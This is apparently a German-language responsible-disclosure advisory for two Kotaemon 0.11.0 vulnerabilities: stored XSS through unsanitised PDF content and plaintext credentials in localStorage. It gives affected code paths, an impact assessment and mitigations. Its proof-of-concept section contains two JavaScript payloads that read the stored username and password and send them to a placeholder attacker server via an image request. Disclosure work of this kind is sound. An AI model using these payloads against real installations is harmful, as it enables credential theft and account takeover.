
Öffentliche Offenlegung für CVE-2025-56526 und CVE-2025-56527 — Stored XSS durch nicht bereinigtes Rendern von PDF-Inhalten und Offenlegung von Klartext-Anmeldedaten in Kotaemon 0.11.0. Enthält vollständige technische Analyse, PoC, Auswirkungsbewertung und Zeitplan für verantwortungsvolle Offenlegung.
Stored Cross-Site Scripting im Kotaemon-Informationspanel kombiniert mit der Speicherung von Klartext-Anmeldeinformationen in
localStorageund ermöglicht so eine vollständige Sitzungsübernahme durch einen einzigen bösartigen PDF-Upload.
<= 0.11.0 (einschließlich Commit 37cdc28)CVE-2025-56526 – Stored XSS durch unbereinigte PDF-InhaltsdarstellungCVE-2025-56527 – Klartext-Speicherung von Benutzername/Passwort in localStorage| CVE-ID | Schwachstelle | CWE | Hauptauswirkung |
|---|---|---|---|
| CVE-2025-56526 | Stored XSS via PDF-basiertem HTML | CWE-79 | Ausführung beliebigen JavaScripts, Datensammlung |
| CVE-2025-56527 | Klartext-Speicherung von Anmeldeinformationen | CWE-922 | Offenlegung von Anmeldeinformationen, Sitzungsübernahme |
PDF-Extraktionsergebnisse (Text, Tabellenmarkup, Bildmetadaten) werden ohne Escaping in das DOM injiziert. Ein bösartiges PDF kann daher beliebiges HTML/JS transportieren, das immer dann ausgeführt wird, wenn das Informationspanel oder die Reasoning-Ansichten retrieved_content rendern.
Betroffene Codepfade sind:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (table / image rendering)libs/ktem/ktem/reasoning/simple.py and libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py zusammen mit libs/ktem/ktem/assets/js/main.js speichert und ruft rohe Anmeldeinformationen direkt aus localStorage ab:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Jedes JavaScript, das über den XSS-Vektor ausgeführt wird, kann diese Werte sofort auslesen, was zu zuverlässigem Diebstahl von Anmeldeinformationen und langlebiger Kontokompromittierung führt.
alt-Attribut oder Textobjekt): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
Kotaemon wird häufig in lokalen oder Unternehmensumgebungen eingesetzt, in denen Benutzer vertrauliche interne Dokumente hochladen. Da PDF-basierte Inhalte ohne Bereinigung in das DOM eingefügt werden, kann ein Angreifer ein bösartiges Payload in einem normal aussehenden Geschäftsdokument verstecken.
Wenn das Opfer dieses Dokument hochlädt und anzeigt, wird das versteckte JavaScript automatisch ausgeführt, stiehlt Anmeldeinformationen aus localStorage und legt private Chatprotokolle und Dokumentinhalte offen.
Obwohl der Auslöser benutzerinitiiert erscheint, handelt es sich nicht um Self-XSS. Die Ursache ist ein serverseitiges Versäumnis, aus hochgeladenen Dateien extrahiertes HTML zu bereinigen, was Stored XSS innerhalb vertrauenswürdiger UI-Komponenten ermöglicht.
Infolgedessen kann ein einziges bösartiges PDF in realistischen Social-Engineering-Szenarien zur vollständigen Kontokompromittierung führen.
html.escape, DOMPurify oder Trusted Types für DOM-Sinks).script-src 'self') und Trusted Types ein, um die DOM-XSS-Angriffsfläche zu verkleinern.screenshots/)







Diese öffentliche Beratung folgt den branchenüblichen Praktiken der verantwortungsvollen Offenlegung:
Benutzer von Kotaemon (<= 0.11.0) sollten Folgendes in Betracht ziehen, bis ein Sicherheitsfix verfügbar ist:
[email protected]